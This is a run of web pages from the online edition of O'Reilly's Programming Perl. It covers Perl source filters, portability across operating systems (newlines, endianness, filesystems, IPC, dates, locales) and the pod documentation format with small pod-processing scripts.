One of the very first Perl preprocessors was the sed-to-perl translator, s2p. In fact, Larry delayed the initial release of Perl in order to complete s2p and awk-to-perl (a2p), because he thought they'd improve the acceptance of Perl. Hmm, maybe they did.

See the online docs for more on these, as well as the find2perl translator.

24.5.3. Source Filters

If you can write a program to translate random stuff into Perl, then why not have a way of invoking that translator from within Perl?

The notion of a source filter started with the idea that a script or module should be able to decrypt itself on the fly, like this:

#!/usr/bin/perl
use MyDecryptFilter;
@*x$]`0uN&k^Zx02jZ^X{.?s!(f;9Q/^A^@~~8H]|,%@^P:q-=
...
But the idea grew from there, and now a source filter can be defined to do any transformation on the input text you like. Put that together with the notion of the -x switch mentioned in Chapter 19, "The Command-Line Interface", and you have a general mechanism for pulling any chunk of program out of a message and executing it, regardless of whether it's written in Perl or not.

Using the Filter module from CPAN, one can now even do things like programming Perl in awk:

#!/usr/bin/perl
use Filter::exec "a2p";         # the awk-to-perl translator
1,30 { print $1 }
Now that's definitely what you might call idiomatic. But we won't pretend for a moment that it's common practice.

Previous | Home | Next
24.4. Fluent Perl | Book Index | 25. Portable Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Portable Perl (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 25. Portable Perl

Contents:

Newlines
Endianness and Number Width
Files and Filesystems
System Interaction
Interprocess Communication (IPC)
External Subroutines (XS)
Standard Modules
Dates and Times
Internationalization
Style

A world with only one operating system makes portability easy, and life boring. We prefer a larger genetic pool of operating systems, as long as the ecosystem doesn't divide too cleanly into predators and prey. Perl runs on dozens of operating systems, and because Perl programs aren't platform dependent, the same program can run on all of those systems without modification.

Well, almost. Perl tries to give the programmer as many features as possible, but if you make use of features particular to a certain operating system, you'll necessarily reduce the portability of your program to other systems. In this section, we'll provide some guidelines for writing portable Perl code. Once you make a decision about how portable you want to be, you'll know where the lines are drawn, and you can stay within them.

Looking at it another way, writing portable code is usually about willfully limiting your available choices. Naturally, it takes discipline and sacrifice to do that, two traits that Perl programmers might be unaccustomed to.

Be aware that not all Perl programs have to be portable. There is no reason not to use Perl to glue Unix tools together, or to prototype a Macintosh application, or to manage the Windows registry. If it makes sense to sacrifice portability, go ahead.[1]

[1] Not every conversation has to be cross-culturally correct. Perl tries to give you at least one way to do the Right Thing but doesn't try to force it on you rigidly. In this respect, Perl more closely resembles your mother tongue than a nanny's tongue.

In general, note that the notions of a user ID, a "home" directory, and even the state of being logged in will exist only on multi-user platforms.

The special $^O variable tells you what operating system your Perl was built on. This is provided to speed up code that would otherwise have to use Config to get the same information via $Config{osname}. (Even if you've pulled in Config for other reasons, it still saves you the price of a tied-hash lookup.)

To get more detailed information about the platform, you can look at the rest of the information in the %Config hash, which is made available by the standard Config module. For example, to check whether the platform has the lstat call, you can check $Config{d_lstat}. See Config's online documentation for a full description of available variables, and the perlport manpage for a listing of the behavior of Perl built-in functions on different platforms. Here are the Perl functions whose behavior varies the most across platforms:

-X (file tests), accept, alarm, bind, binmode, chmod, chown, chroot, connect, crypt, dbmclose, dbmopen, dump, endgrent, endhostent, endnetent, endprotoent, endpwent, endservent, exec, fcntl, fileno, flock, fork, getgrent, getgrgid, getgrnam, gethostbyaddr, gethostbyname, gethostent, getlogin, getnetbyaddr, getnetbyname, getnetent, getpeername, getpgrp, getppid, getpriority, getprotobyname, getprotobynumber, getprotoent, getpwent, getpwnam, getpwuid, getservbyport, getservent, getservbyname, getsockname, getsockopt, glob, ioctl, kill, link, listen, lstat, msgctl, msgget, msgrcv, msgsnd, open, pipe, qx, readlink, readpipe, recv, select, semctl, semget, semop, send, sethostent, setgrent, setnetent, setpgrp, setpriority, setprotoent, setpwent, setservent, setsockopt, shmctl, shmget, shmread, shmwrite, shutdown, socket, socketpair, stat, symlink, syscall, sysopen, system, times, truncate, umask, utime, wait, waitpid

25.1. Newlines

On most operating systems, lines in files are terminated by one or two characters that signal the end of the line. The characters vary from system to system. Unix traditionally uses \012 (that is, the octal 12 character in ASCII), one type of DOSish I/O uses \015\012, and Macs uses \015. Perl uses \n to represent a "logical" newline, regardless of platform. In MacPerl, \n always means \015. In DOSish Perls, \n usually means \012, but when accessing a file in "text mode", it is translated to (or from) \015\012, depending on whether you're reading or writing. Unix does the same thing on terminals in canonical mode. \015\012 is commonly referred to as CRLF.

Because DOS distinguishes between text files and binary files, DOSish Perls have limitations when using seek and tell on a file in "text mode". For best results, only seek to locations obtained from tell. If you use Perl's built-in binmode function on the filehandle, however, you can usually seek and tell with impunity.

A common misconception in socket programming is that \n will be \012 everywhere. In many common Internet protocols, \012 and \015 are specified, and the values of Perl's \n and \r are not reliable since they vary from system to system:

print SOCKET "Hi there, client!\015\012";  # right
print SOCKET "Hi there, client!\r\n";      # wrong
However, using \015\012 (or \cM\cJ, or \x0D\x0A, or even v13.10) can be tedious and unsightly, as well as confusing to those maintaining the code. The Socket module supplies some Right Things for those who want them:
use Socket qw(:DEFAULT :crlf);
print SOCKET "Hi there, client!$CRLF"      # right
When reading from a socket, remember that the default input record separator $/ is \n, which means you have to do some extra work if you're not sure what you'll be seeing across the socket. Robust socket code should recognize either \012 or \015\012 as end of line:
use Socket qw(:DEFAULT :crlf);
local ($/) = LF;     # not needed if $/ is already \012

while (<SOCKET>) {
    s/$CR?$LF/\n/;   # replace LF or CRLF with logical newline
}
Similarly, code that returns text data--such as a subroutine that fetches a web page--should often translate newlines. A single line of code will often suffice:
$data =~ s/\015?\012/\n/g;
return $data;

Previous | Home | Next
24.5. Program Generation | Book Index | 25.2. Endianness and Number Width
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Endianness and Number Width (Programming Perl)

 Book Home Programming PerlSearch this book

25.2. Endianness and Number Width

Computers store integers and floating-point numbers in different orders (big-endian or little-endian) and different widths (32-bit and 64-bit being the most common today). Normally, you won't have to think about this. But if your program sends binary data across a network connection, or onto disk to be read by a different computer, you may need to take precautions.

Conflicting orders can make an utter mess out of numbers. If a little-endian host (such as an Intel CPU) stores 0x12345678 (305,419,896 in decimal), a big-endian host (such as a Motorola CPU) will read it as 0x78563412 (2,018,915,346 in decimal). To avoid this problem in network (socket) connections, use the pack and unpack formats n and N, which write unsigned short and long numbers in big-endian order (also called "network" order) regardless of the platform.

You can explore the endianness of your platform by unpacking a data structure packed in native format such as:

print unpack("h*", pack("s2", 1, 2)), "\n";
# '10002000' on e.g. Intel x86 or Alpha 21064 in little-endian mode
# '00100020' on e.g. Motorola 68040
To determine your endianness, you could use either of these statements:
$is_big_endian    = unpack("h*", pack("s", 1)) =~ /01/;
$is_little_endian = unpack("h*", pack("s", 1)) =~ /^1/;
Even if two systems have the same endianness, there can still be problems when transferring data between 32-bit and 64-bit platforms. There is no good solution other than to avoid transferring or storing raw binary numbers. Either transfer and store numbers as text instead of binary, or use modules like Data::Dumper or Storable to do this for you. You really want to be using text-oriented protocols in any event--they're more robust, more maintainable, and more extensible than binary protocols.

Of course, with the advent of XML and Unicode, our definition of text is getting more flexible. For instance, between two systems running Perl 5.6.0 (or newer), you can transport a sequence of integers encoded as characters in utf8 (Perl's version of UTF-8). If both ends are running on an architecture with 64-bit integers, you can exchange 64-bit integers. Otherwise, you're limited to 32-bit integers. Use pack with a U* template to send, and unpack with a U* template to receive.

Previous | Home | Next
25.1. Newlines | Book Index | 25.3. Files and Filesystems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Files and Filesystems (Programming Perl)

 Book Home Programming PerlSearch this book

25.3. Files and Filesystems

File path components are separated with / on Unix, with \ on Windows, and with : on Macs. Some systems support neither hard links (link) nor symbolic links (symlink, readlink, lstat). Some systems pay attention to capitalization of filenames, some don't, and some pay attention when creating files but not when reading them.

There are modules that can help. The standard File::Spec modules provide some functions of the Right Thing persuasion:

use File::Spec::Functions;
chdir( updir() );        # go up one directory
$file = catfile( curdir(), 'temp', 'file.txt' );
That last line reads in ./temp/file.txt on Unix and Windows, or :temp:file.txt on Macs, or [.temp]file.txt on VMS, and stores the file's contents in $file.

The File::Basename module, another platform-tolerant module bundled with Perl, splits a pathname into its components: the base filename, the full path to the directory, and the file suffix.

Here are some tips for writing portable file-manipulating Perl programs:

  • Don't use two files of the same name with different case, like test.pl and Test.pl, since some platforms ignore capitalization.

  • Constrain filenames to the 8.3 convention (eight-letter names and three-letter extensions) where possible. You can often get away with longer filenames as long as you make sure the filenames will remain unique when shoved through an 8.3-sized hole in the wall. (Hey, it's gotta be easier than shoving a camel through the eye of a needle.)

  • Minimize nonalphanumeric characters in filenames. Using underscores is often okay, but it wastes a character that could better be used for uniqueness on 8.3 systems. (Remember, that's why we don't usually put underscores into module names.)

  • Likewise, when using the AutoSplit module, try to constrain your subroutine names to eight characters or less, and don't give two subroutines the same name with different case. If you need longer subroutine names, make the first eight characters of each unique.

  • Always use < explicitly to open a file for reading; otherwise, on systems that allow punctuation in filenames, a file prefixed with a > character could result in a file being wiped out, and a file prefixed with a | character could result in a pipe open. That's because the two-argument form of open is magical and will interpret characters like >, <, and |, which may be the wrong thing to do. (Except when it's right.)

    open(FILE,      $existing_file)  or die $!;  # wrongish
open(FILE,    "<$existing_file") or die $!;  # righter
open(FILE, "<", $existing_file)  or die $!;  # righterer

  • Don't assume text files will end with a newline. They should, but sometimes people forget, especially when their text editor helps them forget.

Previous | Home | Next
25.2. Endianness and Number Width | Book Index | 25.4. System Interaction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


System Interaction (Programming Perl)

 Programming PerlSearch this book

25.4. System Interaction

Platforms that rely on a graphical user interface sometimes lack command lines, so programs requiring a command-line interface might not work everywhere. You can't do much about this, except upgrade.

Some other tips:

  • Some platforms can't delete or rename files that are in use, so remember to close files when you are done with them. Don't unlink or rename an open file. Don't tie or open a file already tied or opened; untie or close it first.

  • Don't open the same file more than once at a time for writing, since some operating systems put mandatory locks on such files.

  • Don't depend on a specific environment variable existing in %ENV, and don't assume that anything in %ENV will be case sensitive or case preserving. Don't assume Unix inheritance semantics for environment variables; on some systems, they may be visible to all other processes.

  • Don't use signals or %SIG.

  • Try to avoid filename globbing. Use opendir, readdir, and closedir instead. (As of release 5.6.0 of Perl, basic filename globbing is much more portable than it was, but some systems may still chafe under the Unixisms of the default interface if you try to get fancy.)

  • Don't assume specific values of the error numbers or strings stored in $!.

Previous | Home | Next
25.3. Files and Filesystems | Book Index | 25.5. Interprocess Communication (IPC)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Interprocess Communication (IPC) (Programming Perl)

 Book Home Programming PerlSearch this book

25.5. Interprocess Communication (IPC)

To maximize portability, don't try to launch new processes. That means you should avoid system, exec, fork, pipe, ``, qx//, or open with a |.

The main problem is not the operators themselves; commands that launch external processes are generally supported on most platforms (though some do not support any type of forking). Problems are more likely to arise when you invoke external programs that have names, locations, output, or argument semantics that vary across platforms.

One especially popular bit of Perl code is opening a pipe to sendmail so that your programs can send mail:

open(MAIL, '|/usr/lib/sendmail -t') or die "cannot fork sendmail: $!";
This won't work on platforms without sendmail. For a portable solution, use one of the CPAN modules to send your mail, such as Mail::Mailer and Mail::Send in the MailTools distribution, or Mail::Sendmail.

The Unix System V IPC functions (msg*(), sem*(), shm*()) are not always available, even on some Unix platforms.

Previous | Home | Next
25.4. System Interaction | Book Index | 25.6. External Subroutines (XS)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


External Subroutines (XS) (Programming Perl)

 Programming PerlSearch this book

25.6. External Subroutines (XS)

XS code can usually be made to work with any platform, but libraries and header files might not be readily available, or the XS code itself might be platform specific. If the libraries and headers are portable, then it's a reasonable guess that the XS code can be made portable as well.

A different type of portability issue arises when writing XS code: the availability of a C compiler on the end user's platform. C brings with it its own portability issues, and writing XS code will expose you to some of those. Writing in pure Perl is an easier way to achieve portability because Perl's configuration process goes through extreme agonies to hide C's portability blemishes from you.[2]

[2] Some people on the margins of society run Perl's Configure script as a cheap form of entertainment. People have even been known to stage "Configure races", between competing systems and wager large sums on them. This practice is now outlawed in most of the civilized world.

Previous | Home | Next
25.5. Interprocess Communication (IPC) | Book Index | 25.7. Standard Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Standard Modules (Programming Perl)

 Programming PerlSearch this book

25.7. Standard Modules

In general, the standard modules (modules bundled with Perl) work on all platforms. Notable exceptions are the CPAN.pm module (which currently makes connections to external programs that may not be available), platform-specific modules (such as ExtUtils::MM_VMS), and DBM modules.

There is no single DBM module available on all platforms. SDBM_File and the others are generally available on all Unix and DOSish ports, but not in MacPerl, where only NBDM_File and DB_File are available.

The good news is that at least one DBM module should be available, and AnyDBM_File will use whichever module it can find. With such uncertainty, you should use only the features common to all DBM implementations. For instance, keep your records to no more than 1K bytes. See the AnyDBM_File module documentation for more details.

Previous | Home | Next
25.6. External Subroutines (XS) | Book Index | 25.8. Dates and Times
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dates and Times (Programming Perl)

 Book Home Programming PerlSearch this book

25.8. Dates and Times

Where possible, use the ISO-8601 standard ("YYYY-MM-DD") to represent dates. Strings like "1987-12-18" can be easily converted into a system-specific value with a module like Date::Parse. A list of time and date values (such as that returned by the built-in localtime function) can be converted to a system-specific representation using Time::Local.

The built-in time function will always return the number of seconds since the beginning of the "epoch", but operating systems differ in their opinions of when that was. On many systems, the epoch began on January 1, 1970, at 00:00:00 UTC, but it began 66 years earlier on Macs, and on VMS it began on November 17, 1858, at 00:00:00. So for portable times you may want to calculate an offset for the epoch:

require Time::Local;
$offset = Time::Local::timegm(0, 0, 0, 1, 0, 70);
The value for $offset in Unix and Windows will always be 0, but on Macs and VMS it may be some large number. $offset can then be added to a Unix time value to get what should be the same value on any system.

A system's representation of the time of day and the calendar date can be controlled in widely different ways. Don't assume the time zone is stored in $ENV{TZ}. Even if it is, don't assume that you can control the time zone through that variable.

Previous | Home | Next
25.7. Standard Modules | Book Index | 25.9. Internationalization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Internationalization (Programming Perl)

 Programming PerlSearch this book

25.9. Internationalization

Use Unicode inside your program. Do any translation to and from other character sets at your interfaces to the outside world. See Chapter 15, "Unicode".

Outside the world of Unicode, you should assume little about character sets and nothing about the ord values of characters. Do not assume that the alphabetic characters have sequential ord values. The lowercase letters may come before or after the uppercase letters; the lowercase and uppercase may be interlaced so that both a and A come before b; the accented and other international characters may be interlaced so that &#228; comes before b.

If your program is to operate on a POSIX system (a rather large assumption), consult the perllocale manpage for more information about POSIX locales. Locales affect character sets and encodings, and date and time formatting, among other things. Proper use of locales will make your program a little bit more portable, or at least more convenient and native-friendly for non-English users. But be aware that locales and Unicode don't mix well yet.

Previous | Home | Next
25.8. Dates and Times | Book Index | 25.10. Style
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Style (Programming Perl)

 Programming PerlSearch this book

25.10. Style

When it is necessary to have platform-specific code, consider keeping it in one place to ease porting to other platforms. Use the Config module and the special variable $^O to differentiate between platforms.

Be careful in the tests you supply with your module or programs. A module's code may be fully portable, but its tests may well not be. This often happens when tests spawn other processes or call external programs to aid in the testing, or when (as noted above) the tests assume certain things about the filesystem and paths. Be careful not to depend on a specific output style for errors, even when checking $! for "standard" errors after a syscall. Use the Errno module instead.

Remember that good style transcends both time and culture, so for maximum portability, you must seek to understand the universal amidst the exigencies of your existence. The coolest people are not prisoners of the latest cool fad; they don't have to be, because they are not worried about being "in" with respect to their own culture, programmatically or otherwise. Fashion is a variable, but style is a constant.

Previous | Home | Next
25.9. Internationalization | Book Index | 26. Plain Old Documentation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Plain Old Documentation (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 26. Plain Old Documentation

Contents:

Pod in a Nutshell
Pod Translators and Modules
Writing Your Own Pod Tools
Pod Pitfalls
Documenting Your Perl Programs

One of the principles underlying Perl's design is that simple things should be simple, and hard things should be possible. Documentation should be simple.

Perl supports a simple text markup format called pod that can stand on its own or be freely intermixed with your source code to create embedded documentation. Pod can be converted to many other formats for printing or viewing, or you can just read it directly, because it's plain.

Pod is not as expressive as languages like XML, [LaTeX], troff(1), or even HTML. This is intentional: we sacrificed that expressiveness for simplicity and convenience. Some text markup languages make authors write more markup than text, which makes writing harder than it has to be, and reading next to impossible. A good format, like a good movie score, stays in the background without causing distraction.

Getting programmers to write documentation is almost as hard as getting them to wear ties. Pod was designed to be so easy to write that even a programmer could do it--and would. We don't claim that pod is sufficient for writing a book, although it was sufficient for writing this one.

26.1. Pod in a Nutshell

Most document formats require the entire document to be in that format. Pod is more forgiving: you can embed pod in any sort of file, relying on pod translators to extract the pod. Some files consist entirely of 100% pure pod. But other files, notably Perl programs and modules, may contain dollops of pod sprinkled about wherever the author feels like it. Perl simply skips over the pod text when parsing the file for execution.

The Perl lexer knows to begin skipping when, at a spot where it would ordinarily find a statement, it instead encounters a line beginning with an equal sign and an identifier, like this:

=head1 Here There Be Pods!
That text, along with all remaining text up through and including a line beginning with =cut, will be ignored. This allows you to intermix your source code and your documentation freely, as in:
=item snazzle

The snazzle() function will behave in the most spectacular
form that you can possibly imagine, not even excepting
cybernetic pyrotechnics.

=cut

sub snazzle {
    my $arg = shift;
    ....
}

=item razzle

The razzle() function enables autodidactic epistemology generation.

=cut

sub razzle {
    print "Epistemology generation unimplemented on this platform.\n";
}
For more examples, look at any standard or CPAN Perl module. They're all supposed to come with pod, and nearly all do, except for the ones that don't.

Since pod is recognized by the Perl lexer and thrown out, you may also use an appropriate pod directive to quickly comment out an arbitrarily large section of code. Use a =for pod block to comment out one paragraph, or a =begin/=end pair for a larger section. We'll cover the syntax of those pod directives later. Remember, though, that in both cases, you're still in pod mode afterwards, so you need to =cut back to the compiler.

print "got 1\n";

=for commentary
This paragraph alone is ignored by anyone except the
mythical "commentary" translator.  When it's over, you're
still in pod mode, not program mode.
print "got 2\n";

=cut

# ok, real program again
print "got 3\n";

=begin comment

print "got 4\n";

all of this stuff
here will be ignored
by everyone

print "got 5\n";

=end comment

=cut

print "got 6\n";
This will print out that it got 1, 3, and 6. Remember that these pod directives can't go just anywhere. You have to put them only where the parser is expecting to see a new statement, not just in the middle of an expression or at other arbitrary locations.

From the viewpoint of Perl, all pod markup is thrown out, but from the viewpoint of pod translators, it's the code that is thrown out. Pod translators view the remaining text as a sequence of paragraphs separated by blank lines. All modern pod translators parse pod the same way, using the standard Pod::Parser module. They differ only in their output, since each translator specializes in one output format.

There are three kinds of paragraphs: verbatim paragraphs, command paragraphs, and prose paragraphs.

26.1.1. Verbatim Paragraphs

Verbatim paragraphs are used for literal text that you want to appear as is, such as snippets of code. A verbatim paragraph must be indented; that is, it must begin with a space or tab character. The translator should reproduce it exactly, typically in a constant width font, with tabs assumed to be on eight-column boundaries. There are no special formatting escapes, so you can't play font games to italicize or embolden. A < character means a literal <, and nothing else.

26.1.2. Pod Directives

All pod directives start with = followed by an identifier. This may be followed by any amount of arbitrary text that the directive can use however it pleases. The only syntactic requirement is that the text must all be one paragraph. Currently recognized directives (sometimes called pod commands) are:

=head1
=head2
...

The =head1, =head2,... directives produce headings at the level specified. The rest of the text in the paragraph is treated as the heading description. These are similar to the .SH and .SS section and subsection headers in man(7), or to <H1>...</H1> and <H2>...</H2> tags in HTML. In fact, that's exactly what those translators convert these directives into.

=cut

The =cut directive indicates the end of a stretch of pod. (There might be more pod later in the document, but if so it will be introduced with another pod directive.)

=pod

The =pod directive does nothing beyond telling the compiler to lay off parsing code through the next =cut. It's useful for adding another paragraph to the document if you're mixing up code and pod a lot.

=over NUMBER
=item SYMBOL
=back

The =over directive starts a section specifically for the generation of a list using the =item directive. At the end of your list, use =back to end it. The NUMBER, if provided, hints to the formatter how many spaces to indent. Some formatters aren't rich enough to respect the hint, while others are too rich to respect it, insofar as it's difficult when working with proportional fonts to make anything line up merely by counting spaces. (However, four spaces is generally construed as enough room for bullets or numbers.)

The actual type of the list is indicated by the SYMBOL on the individual items. Here is a bulleted list:

=over 4

=item *

Mithril armor

=item *

Elven cloak

=back
And a numbered list:
=over 4

=item 1.

First, speak "friend".

=item 2.

Second, enter Moria.

=back
And a named list:
=over 4

=item armor()

Description of the armor() function

=item chant()

Description of the chant() function

=back
You may nest lists of the same or different types, but some basic rules apply: don't use =item outside an =over/=back block; use at least one =item inside an =over/=back block; and perhaps most importantly, keep the type of the items consistent within a given list. Either use =item * for each item to produce a bulleted list, or =item 1., =item 2., and so on to produce numbered list, or use =item foo, =item bar, and so on to produce a named list. If you start with bullets or numbers, stick with them, since formatters are allowed to use the first =item type to decide how to format the list.

As with everything in pod, the result is only as good as the translator. Some translators pay attention to the particular numbers (or letters, or Roman numerals) following the =item, and others don't. The current pod2html translator, for instance, is quite cavalier: it strips out the sequence indicators entirely without looking at them to infer what sequence you're using, then wraps the entire list inside <OL> and </OL> tags so that the browser can display it as an ordered list in HTML. This is not to be construed a feature; it may eventually be fixed.

=for TRANSLATOR
=begin TRANSLATOR
=end TRANSLATOR

=for, =begin, and =end let you include special sections to be passed through unaltered, but only to particular formatters. Formatters that recognize their own names, or aliases for their names, in TRANSLATOR pay attention to that directive; any others completely ignore them. The directive =for specifies that just the rest of this paragraph is destined for a particular translator.

=for html
<p> This is a <flash>raw</flash> <small>HTML</small> paragraph </p>
The paired =begin and =end directives work similarly to =for, but instead of accepting a single paragraph only, they treat all text between matched =begin and =end as destined for a particular translator. Some examples:
=begin html

<br>Figure 1.<IMG SRC="figure1.png"><br>

=end html

=begin text

  ---------------
  |  foo        |
  |        bar  |
  ---------------

^^^^ Figure 1. ^^^^

=end text
Values of TRANSLATOR commonly accepted by formatters include roff, man, troff, nroff, tbl, eqn, latex, tex, html, and text. Some formatters will accept some of these as synonyms. No translator accepts comment--that's just the customary word for something to be ignored by everybody. Any unrecognized word would serve the same purpose. While writing this book, we often left notes for ourselves under the directive =for later.

Note that =begin and =end do nest, but only in the sense that the outermost matched set causes everything in the middle to be treated as nonpod, even if it happens to contain other =word directives. That is, as soon as any translator sees =begin foo, it will either ignore or process everything down to the corresponding =end foo.

26.1.3. Pod Sequences

The third type of paragraph is simply "flowed" text. That is, if a paragraph doesn't start with either whitespace or an equals sign, it's taken as a plain paragraph: regular text that's typed in with as few frills as possible. Newlines are treated as equivalent to spaces. It's largely up to the translator to make it look nice, because programmers have more important things to do. It is assumed that translators will apply certain common heuristics--see the section "Pod Translators and Modules" later in this chapter.

You can do some things explicitly, however. Inside either ordinary paragraphs or heading/item directives (but not in verbatim paragraphs), you may use special sequences to adjust the formatting. These sequences always start with a single capital letter followed by a left angle bracket, and extend through the matching (not necessarily the next) right angle bracket. Sequences may contain other sequences.

Here are the sequences defined by pod:

I<text>

Italicized text, used for emphasis, book titles, names of ships, and manpage references such as "perlpod(1)".

B<text>

Emboldened text, used almost exclusively for command-line switches and sometimes for names of programs.

C<text>

Literal code, probably in a fixed-width font like Courier. Not needed on simple items that the translator should be able to infer as code, but you should put it anyway.

S<text>

Text with nonbreaking spaces. Often surrounds other sequences.

L<name>

A cross reference (link) to a name:

L<name>

Manual page

L<name/ident>

Item in manual page

L<name/"sec">

Section in other manual page

L<"sec">

Section in this manual page (the quotes are optional)

L</"sec">

Ditto

The next five sequences are the same as those above, but the output will be only text, with the link information hidden as in HTML:

L<text|name>
L<text|name/ident>
L<text|name/"sec">
L<text|"sec">
L<text|/"sec">

The text cannot contain the characters / and |, and should contain < or > only in matched pairs.

F<pathname>

Used for filenames. This is traditionally rendered the same as I.

X<entry>

An index entry of some sort. As always, it's up to the translator to decide what to do. The pod specification doesn't dictate that.

E<escape>

A named character, similar to HTML escapes:

Z<>

A zero-width character. This is nice for putting in front of sequences that might confuse something. For example, if you had a line in regular prose that had to start with an equals sign, you could write that as:

Z<>=can you see
or for something with a "From" in it, so the mailer doesn't put a > in front:
Z<>From here on out...

Most of the time, you'll need only a single set of angle brackets to delimit one of these pod sequences. Sometimes, however, you will want to put a < or > inside a sequence. (This is particularly common when using a C<> sequence to provide a constant-width font for a snippet of code.) As with all things in Perl, there is more than one way to do it. One way is to simply represent the closing bracket with an E sequence:

C<$a E<lt>=E<gt> $b>
This produces "$a <=> $b".

A more readable, and perhaps more "plain" way, is to use an alternate set of delimiters that doesn't require the angle brackets to be escaped. Doubled angle brackets (C<<stuff>>) may be used, provided there is whitespace immediately following the opening delimiter and immediately preceding the closing one. For example, the following will work:

C<< $a <=> $b >>
You may use as many repeated angle-brackets as you like so long as you have the same number of them on both sides, and you make sure that whitespace immediately follows the last < of the left side and immediately precedes the first > of the right side. So the following will also work:
C<<< $a <=> $b >>>
C<<<< $a <=> $b >>>>
All these end up spitting out $a <=> $b in a constant-width font.

The extra whitespace inside on either end goes away, so you should leave whitespace on the outside if you want it. Also, the two inside chunks of extra whitespace don't overlap, so if the first thing being quoted is >>, it isn't taken as the closing delimiter:

The C<< >> >> right shift operator.
This produces "The >> right shift operator."

Note that pod sequences do nest. That means you can write "The I<Santa MarE<iacute>a> left port already" to produce "The Santa Mar&#237;a left port already", or "B<touch> S<B<-t> I<time>> I<file>" to produce "touch -t timefile", and expect this to work properly.

Previous | Home | Next
25.10. Style | Book Index | 26.2. Pod Translators and Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pod Translators and Modules (Programming Perl)

 Book Home Programming PerlSearch this book

26.2. Pod Translators and Modules

Perl is bundled with several pod translators that convert pod documents (or the embedded pod in other types of documents) into various formats. All should be 8-bit clean.

pod2text

Converts pod into text. Normally, this text will be 7-bit ASCII, but it will be 8-bit if it had 8-bit input, or specifically ISO-8859-1 (or Unicode) if you use sequences like LE<uacute>thien for L&#250;thien or EE<auml>rendil for E&#228;rendil.

If you have a file with pod in it, the easiest (although perhaps not the prettiest) way to view just the formatted pod would be:

% pod2text File.pm | more
Then again, pod is supposed to be human readable without formatting.

pod2man

Converts pod into Unix manpage format suitable for viewing through nroff(1) or creating typeset copies via troff(1). For example:

% pod2man File.pm | nroff -man | more
or
% pod2man File.pm | troff -man -Tps -t > tmppage.ps
% ghostview tmppage.ps
and to print:
% lpr -Ppostscript tmppage.ps

pod2html

Converts pod into HTML for use with your favorite viewer:

% pod2html File.pm > tmppage.html
% lynx tmppage.html
% netscape -remote "openURL(file:`pwd`/tmppage.html)"
That last one is a netscape hack that works if you already have netscape running somewhere to tell that incarnation to load the page. Otherwise, just call it as you did lynx.

pod2latex

Converts pod into [LaTeX].

Additional translators are available on CPAN for other formats.

Translators exhibit different default behaviors depending on the output format. For instance, if your pod has a prose paragraph saying:

This is a $variable right here
then pod2html will turn that into:
This is a <STRONG>$variable</STRONG> right here
but pod2text will leave it unadorned, since the dollar should be enough to let it be read.

You should write your pod as close to plain text as you possibly can, with as few explicit markups as you can get away with. It is up to the individual translator to decide how things in your text should be represented. That means letting the translator figure out how to create paired quotes, how to fill and adjust text, how to find a smaller font for words in all capitals, etc. Since these were written to process Perl documentation, most translators[1] should also recognize unadorned items like these and render them appropriately:

[1]If you're designing a general-purpose pod translator, not one for Perl code, your criteria may vary.

  • FILEHANDLE

  • $scalar

  • @array

  • function()

  • manpage(3r)

  • somebody@someplace.com

  • http://foo.com/

Perl also comes with several standard modules for parsing and converting pod, including Pod::Checker (and the associated podchecker utility) for checking the syntax of pod documents, Pod::Find for finding pod documents in directory trees, and Pod::Parser for creating your own pod utilities.

Note that pod translators should only look at paragraphs beginning with a pod directive (this makes parsing easier), whereas the compiler actually knows to look for pod escapes even in the middle of a paragraph. This means that the following secret stuff will be ignored by both the compiler and the translators.

$a=3;
=secret stuff
warn "Neither POD nor CODE!?"
=cut back
print "got $a\n";
You probably shouldn't rely upon the warn being podded out forever. Not all pod translators are well-behaved in this regard, and the compiler may someday become pickier.

Previous | Home | Next
26.1. Pod in a Nutshell | Book Index | 26.3. Writing Your Own Pod Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Writing Your Own Pod Tools (Programming Perl)

 Book Home Programming PerlSearch this book

26.3. Writing Your Own Pod Tools

Pod was designed first and foremost to be easy to write. As an added benefit, pod's simplicity also lends itself to writing simple tools for processing pod. If you're looking for pod directives, just set your input record separator to paragraph mode (perhaps with the -00 switch), and only pay attention to paragraphs that look poddish.

For example, here's a simple olpod program to produce a pod outline:

#!/usr/bin/perl -l00n
# olpod - outline pod
next unless /^=head/;
s/^=head(\d)\s+/ ' ' x ($1 * 4 - 4)/e;
print $_, "\n";

If you run that on the current chapter of this book, you'll get something like this:

Plain Old Documentation
    Pod in a Nutshell
        Verbatim Paragraphs
        Pod Directives
        Pod Sequences
    Pod Translators and Modules
    Writing Your Own Pod Tools
    Pod Pitfalls
    Documenting Your Perl Programs

That pod outliner didn't really pay attention to whether it was in a valid pod block or not. Since pod and nonpod can intermingle in the same file, running general-purpose tools to search or analyze the whole file doesn't always make sense. But that's no problem, given how easy it is to write tools for pod. Here's a tool that is aware of the difference between pod and nonpod, and produces only the pod:

#!/usr/bin/perl -00
# catpod - cat out just the pods
while (<>) {
    if (! $inpod) { $inpod = /^=/;            }
    if ($inpod)   { $inpod = !/^=cut/; print; }
} continue {
    if (eof)      {  close ARGV; $inpod = ''; }
}

You could use that program on another Perl program or module, then pipe the output along to another tool. For example, if you have the wc(1) program[2] to count lines, words, and characters, you could feed it catpod output to consider only pod in its counting:

[2]And if you don't, get the Perl Power Tools version from the CPAN scripts directory.

% catpod MyModule.pm | wc

There are plenty of places where pod allows you to write primitive tools trivially using plain, straightforward Perl. Now that you have catpod to use as a component, here's another tool to show just the indented code:

#!/usr/bin/perl -n00
# podlit - print the indented literal blocks from pod input
print if /^\s/;

